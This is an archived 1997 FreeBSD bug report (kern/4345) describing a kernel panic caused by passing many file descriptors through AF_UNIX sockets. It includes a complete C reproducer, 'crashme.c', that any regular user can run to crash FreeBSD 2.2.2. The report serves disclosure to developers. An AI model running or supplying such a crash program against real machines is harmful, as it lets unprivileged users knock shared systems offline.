Skip site navigation (1)Skip section navigation (2)
Date:      Wed, 20 Aug 1997 14:33:54 -0700 (PDT)
From:      abelits@phobos.illtel.denver.co.us
To:        freebsd-gnats-submit@FreeBSD.ORG
Subject:   kern/4345: Kernel panic is caused by passing file descriptors through AF_UNIX socket
Message-ID:  <199708202133.OAA10663@hub.freebsd.org>
Resent-Message-ID: <199708202140.OAA11120@hub.freebsd.org>

next in thread | raw e-mail | index | archive | help

>Number:         4345
>Category:       kern
>Synopsis:       Kernel panic is caused by passing file descriptors through AF_UNIX socket
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Wed Aug 20 14:40:00 PDT 1997
>Last-Modified:
>Originator:     Alex Belits
>Organization:
none
>Release:        FreeBSD 2.2.2-RELEASE i386
>Environment:
FreeBSD es1840 2.2.2-RELEASE FreeBSD 2.2.2-RELEASE #0: Tue Jun 24 04:43:02 PDT 1
997     abelits@es1840:/usr/src/sys/compile/ES1840  i386

>Description:
Sending large number of file descriptors through AF_UNIX sockets causes
a kernel panic. The panic may occur if file descriptors are passed and
then closed, although keeping them open and collecting  them in the 
receiver process after receiving always causes panic.
>How-To-Repeat:
Run the following program as any regular user:
--- 8< ---
/* crashme.c
**
** THIS PROGRAM CAUSES KERNEL PANIC ON SOME SYSTEMS
**
** Usage: crashme [--harder]
**
** --harder option causes this program to leave opened file descriptors hanging
** thus increasing the probability of the crash.
**
*/


#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <sys/wait.h>

int main(int argc,char **argv){
int harder=0,p,nproc,h,i,socketfds[2];
char a[10];
struct iovec iov1={a,1};
struct cmsghdr *cm;
struct msghdr msg;
char bbuffer[sizeof(struct cmsghdr)+sizeof(int)*24];

if(argc>=2&&!strcmp(argv[1],"--harder")) harder=1;

nproc=-1;
for(i=0;i<100;i++){
 if(!(p=fork())){
  if(socketpair(AF_UNIX,SOCK_STREAM,0,socketfds)){
   perror("socketpair");
   }else{
   cm=(struct cmsghdr*)bbuffer; 
   cm->cmsg_level=SOL_SOCKET;
   cm->cmsg_type=SCM_RIGHTS;
   cm->cmsg_len=sizeof(struct cmsghdr)+sizeof(int);
   msg.msg_name=(caddr_t)0;
   msg.msg_namelen=0;
   msg.msg_flags=0;
   msg.msg_iov=&iov1;
   msg.msg_iovlen=1;
   msg.msg_control=(caddr_t)cm;
   msg.msg_controllen=cm->cmsg_len;
   if(fork()){
    close(socketfds[0]);
    *(int*)(bbuffer+sizeof(struct cmsghdr))=open("/dev/null",O_RDONLY);
    for(i=0;i<2048;i++){
     fprintf(stderr,"%d> ",i+1);
     while(sendmsg(socketfds[1],&msg,0)!=1){
      if(errno!=EAGAIN){
       perror("\nsendmsg");
       }
      }
     }
    }else{
    close(socketfds[1]);
    for(i=0;i<2048;i++){
     *(int*)(bbuffer+sizeof(struct cmsghdr))=-1;
     fprintf(stderr,">%d ",i+1);
     cm=(struct cmsghdr*)bbuffer;
     cm->cmsg_level=SOL_SOCKET;
     cm->cmsg_type=SCM_RIGHTS;
     cm->cmsg_len=sizeof(struct cmsghdr)+sizeof(int)*24; 
     msg.msg_name=(caddr_t)0;
     msg.msg_namelen=0;
     iov1.iov_len=10;
     msg.msg_iov=&iov1;
     msg.msg_iovlen=1;
     msg.msg_control=(caddr_t)cm;
     msg.msg_controllen=cm->cmsg_len;
 
     if(recvmsg(socketfds[0],&msg,0)!=1){
      perror("\nrecvmsg");
      }else{
      fprintf(stderr,"(%d) ",*(int*)(bbuffer+sizeof(struct cmsghdr)));
      if(!harder){
       close(*(int*)(bbuffer+sizeof(struct cmsghdr)));
       }
      }
     }
    exit(0);
    }
   wait(&h);
   }
  exit(0);
  }else{
  if(p<0){
   nproc=i;
   i=100;
   }
  }
 }
if(nproc<0) nproc=100;
for(i=0;i<nproc;i++) wait(&h);
fprintf(stderr,"\n%d processes finished\n",nproc);
return 0;
}
--- >8 ---

>Fix:
none

>Audit-Trail:
>Unformatted:



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199708202133.OAA10663>